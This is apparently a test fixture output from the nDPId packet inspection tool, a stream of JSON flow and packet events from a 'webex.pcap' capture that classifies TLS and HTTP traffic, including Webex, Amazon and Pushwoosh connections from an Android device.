+00412{"flow_id":42,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1090,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":180703,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAx9AABAGr0et8wBuCggAAQG72Xfw8BmoDw\/58FAQ\/\/8InwAA"} +00548{"flow_id":42,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1091,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":180852,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ABoRAAACABoRAAABCABFAACKLOlAAEAGVRsKCAABrfMAbtl3AbsPD\/nw8PAZqFAYTE9+QQAAYMNllA45YOg7s\/V3FNa7TcKbtucZ8mvaPzrduR8d4GOdPqB\/Vc6yLiClDb4SGaF+XNqtCApbbDmZaYfIgYFlBwQ7D6G\/lqVhg2mTSJR1UkuX0hBLl1qumaY21EsSl3Eo2JI="} +00412{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1092,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":181039,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAyBAABAGr0at8wBuCggAAQG72Xfw8BmoDw\/6UlAQ\/\/8IPQAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1112,"source":"webex.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1444570694561,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51839,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1112,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":561618,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA802lAAEAGOT4KCAABPm3lnsp\/AbubwQrQAAAAAKACOQiUEgAAAgQFtAQCCAoATNm5AAAAAAEDAwY="} +00410{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":564407,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAytAABAGOZE+beWeCggAAQG7yn9kPvUvm8EK0VAS\/\/+1ggAA"} +00409{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":564543,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo02pAAEAGOVEKCAABPm3lnsp\/AbubwQrRZD71MFAQOQh8ewAA"} +00665{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1115,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":614759,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADj02tAAEAGOJUKCAABPm3lnsp\/AbubwQrRZD71MFAYOQigvgAAFgMBALYBAACyAwGiAbZfNeJzK4ep+8FP1757rfliUbGs5JPyfYBIT\/aU1QAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1115,"source":"webex.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1444570694561,"flow_last_seen":1444570694614,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51839,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1116,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":615065,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAyxAABAGOZA+beWeCggAAQG7yn9kPvUwm8ELjFAQ\/\/+0yAAA"} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":16,"flow_first_seen":1444570636180,"flow_last_seen":1444570636961,"flow_tot_l4_data_len":7424,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2547,"flow_avg_l4_data_len":464,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.231.3","src_port":45814,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":8,"flow_first_seen":1444570636151,"flow_last_seen":1444570638237,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.213.212","src_port":41726,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_first_seen":1444570631058,"flow_last_seen":1444570631059,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":24,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"107.20.242.44","src_port":59447,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00486{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_first_seen":1444570631058,"flow_last_seen":1444570631059,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":24,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"107.20.242.44","src_port":59447,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_first_seen":1444570630272,"flow_last_seen":1444570630272,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":24,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"185.63.147.10","src_port":54651,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00486{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_first_seen":1444570630272,"flow_last_seen":1444570630272,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":20,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":24,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"185.63.147.10","src_port":54651,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":14,"flow_first_seen":1444570632436,"flow_last_seen":1444570633205,"flow_tot_l4_data_len":4726,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2923,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"23.44.253.243","src_port":49048,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":26,"flow_first_seen":1444570631722,"flow_last_seen":1444570633204,"flow_tot_l4_data_len":25500,"flow_min_l4_data_len":20,"flow_max_l4_data_len":8414,"flow_avg_l4_data_len":980,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41354,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":38,"flow_first_seen":1444570633357,"flow_last_seen":1444570635974,"flow_tot_l4_data_len":41190,"flow_min_l4_data_len":20,"flow_max_l4_data_len":8867,"flow_avg_l4_data_len":1083,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41358,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1444570699074,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.241.32.14","src_port":46211,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":74033,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8OjpAAEAGn3oKCAABNvEgDrSDAbvRQeFHAAAAAKACOQhpXwAAAgQFtAQCCAoATNt9AAAAAAEDAwY="} +00409{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":77509,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2VAABAGBmQ28SAOCggAAQG7tIMuvh640UHhSFAS\/\/+YiwAA"} +00407{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":77833,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoOjtAAEAGn40KCAABNvEgDrSDAbvRQeFILr4euVAQOQhfhAAA"} +00699{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":79240,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAOjxAAEAGnrQKCAABNvEgDrSDAbvRQeFILr4euVAYOQhpTwAAFgMBANMBAADPAwFWGmZLJysQyU55el0fA2qHtq46\/QtJIPLxFEGaenjG8gAARgAEAAUALwA1wALABMAFwAzADsAPwAfACcAKwBHAE8AUADMAOQAyADgACsADwA3ACMASABYAEwAJABUAEgADAAgAFAARAP8BAABgAAAAGAAWAAATYXBpLmNyaXR0ZXJjaXNtLmNvbQALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEAIwAA"} +00751{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1233,"source":"webex.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1444570699074,"flow_last_seen":1444570699079,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.241.32.14","src_port":46211,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"api.crittercism.com","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":79481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2ZAABAGBmM28SAOCggAAQG7tIMuvh650UHiIFAQ\/\/+XtAAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1235,"source":"webex.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1444570699096,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"78.46.237.91","src_port":59756,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":96723,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8731AAEAGBawKCAABTi7tW+lsAFBr3TT9AAAAAKACOQhjAgAAAgQFtAQCCAoATNuAAAAAAAEDAwY="} +00411{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":101467,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2dAABAGIddOLu1bCggAAQBQ6WyUIssCa900\/lAS\/\/+AggAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1237,"source":"webex.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1444570699101,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"78.46.237.91","src_port":59757,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":101872,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8ZgxAAEAGjx0KCAABTi7tW+ltAFASyr2MAAAAAKACOQgzhQAAAgQFtAQCCAoATNuAAAAAAAEDAwY="} +00410{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":106726,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2hAABAGIdZOLu1bCggAAQBQ6W3tNUJzEsq9jVAS\/\/+AgQAA"} +00408{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":107051,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo735AAEAGBb8KCAABTi7tW+lsAFBr3TT+lCLLA1AQOQhHewAA"} +00408{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1240,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":107274,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoZg1AAEAGjzAKCAABTi7tW+ltAFASyr2N7TVCdFAQOQhHegAA"} +01127{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1241,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":201560,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJA739AAEAGA6YKCAABTi7tW+lsAFBr3TT+lCLLA1AQOQhcTgAAUE9TVCAvanNvbi8xLjMvcmVnaXN0ZXJEZXZpY2UgSFRUUC8xLjENCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA0KQ29udGVudC1MZW5ndGg6IDM1OQ0KVXNlci1BZ2VudDogRGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuMjsgTEctRDg1NSBCdWlsZC9LVlQ0OUwuQTE0MTIwODc2NTYpDQpIb3N0OiBjcC5wdXNod29vc2guY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0KeyJyZXF1ZXN0Ijp7InYiOiIyLjEiLCJ0aW1lem9uZSI6NzIwMCwiYXBwbGljYXRpb24iOiIzNjI0RC0yQkI0MCIsImRldmljZV9uYW1lIjoiUGhvbmUiLCJkZXZpY2VfdHlwZSI6IjMiLCJwdXNoX3Rva2VuIjoiQVBBOTFiSFVIUXFEQTFfVDlpREhzVGhCNFc1UnZBaFlremFoQ2t1b0VhbHVBVzkxYm5ZdFF5S04tRXZaSUNwa2doUmIyODJESDZJbzE1MWNTcFA1UGh4ME5BTGdjdHZYcjY5X2NBd3NIREpNbU92VHJCNjE5cEF1SV9UN0hNRHhGMlN0WFZpXzFlQ2tNWTg5c2FuSGg="} +00720{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1241,"source":"webex.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1444570699096,"flow_last_seen":1444570699201,"flow_tot_l4_data_len":636,"flow_min_l4_data_len":20,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":159,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"78.46.237.91","src_port":59756,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"cp.pushwoosh.com","url":"cp.pushwoosh.com\/json\/1.3\/registerDevice","code":0,"content_type":"","user_agent":"Dalvik\/1.6.0 (Linux; U; Android 4.4.2; LG-D855 Build\/KVT49L.A1412087656)"}} +00410{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1242,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":201996,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2lAABAGIdVOLu1bCggAAQBQ6WyUIssDa903FlAQ\/\/9+awAA"} +00531{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":202178,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"ABoRAAACABoRAAABCABFAACC74BAAEAGBWMKCAABTi7tW+lsAFBr3TcWlCLLA1AYOQj1VQAAeGdkd3RHcl93ZzFudyIsImxhbmd1YWdlIjoiZW4iLCJhbmRyb2lkX3BhY2thZ2UiOiJjb20uaGFhcmV0eiIsImh3aWQiOiJhMzc1ZGI1N2VmNjJkMWM1In19"} +00410{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":202486,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2pAABAGIdROLu1bCggAAQBQ6WyUIssDa903cFAQ\/\/9+EQAA"} +00859{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1245,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":212081,"pkt_caplen":388,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":388,"pkt_l4_len":354,"pkt":"ABoRAAACABoRAAABCABFAAF2Zg5AAEAGjeEKCAABTi7tW+ltAFASyr2N7TVCdFAYOQhiswAAUE9TVCAvanNvbi8xLjMvYXBwbGljYXRpb25PcGVuIEhUVFAvMS4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgNCkNvbnRlbnQtTGVuZ3RoOiA2Nw0KVXNlci1BZ2VudDogRGFsdmlrLzEuNi4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjQuMjsgTEctRDg1NSBCdWlsZC9LVlQ0OUwuQTE0MTIwODc2NTYpDQpIb3N0OiBjcC5wdXNod29vc2guY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0KeyJyZXF1ZXN0Ijp7Imh3aWQiOiJhMzc1ZGI1N2VmNjJkMWM1IiwiYXBwbGljYXRpb24iOiIzNjI0RC0yQkI0MCJ9fQ=="} +00721{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1245,"source":"webex.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1444570699101,"flow_last_seen":1444570699212,"flow_tot_l4_data_len":434,"flow_min_l4_data_len":20,"flow_max_l4_data_len":354,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"78.46.237.91","src_port":59757,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"cp.pushwoosh.com","url":"cp.pushwoosh.com\/json\/1.3\/applicationOpen","code":0,"content_type":"","user_agent":"Dalvik\/1.6.0 (Linux; U; Android 4.4.2; LG-D855 Build\/KVT49L.A1412087656)"}} +00411{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1246,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":212387,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA2tAABAGIdNOLu1bCggAAQBQ6W3tNUJ0Esq+21AQ\/\/9\/NAAA"} +01078{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1247,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":445643,"pkt_caplen":551,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":551,"pkt_l4_len":517,"pkt":"ABoRAAACABoRAAABCABFAAIZA2xAABAGH+FOLu1bCggAAQBQ6WyUIssDa903cFAY\/\/\/YHgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNi4zDQpEYXRlOiBTdW4sIDExIE9jdCAyMDE1IDEzOjM4OjI1IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0ZjgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IHBocERhZW1vbi8xLjAtYmV0YTMNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogT3JpZ2luLCBYLVJlcXVlc3RlZC1XaXRoLCBDb250ZW50LVR5cGUsIEFjY2VwdA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBQT1NULCBQVVQsIE9QVElPTlMNClgtUFctQ2x1c3Rlci1Ob2RlOiBhcGktMjcNClgtUFctRnJvbnQtTm9kZTogZnJvbnQtMDYNCg0KMzkNCnsic3RhdHVzX2NvZGUiOjIwMCwic3RhdHVzX21lc3NhZ2UiOiJPSyIsInJlc3BvbnNlIjpudWxsfQ0KMA0KDQo="} +00409{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1248,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570699,"pkt_ts_usec":446597,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo74FAAEAGBbwKCAABTi7tW+lsAFBr3TdwlCLM9FAQPLg\/aAAA"} 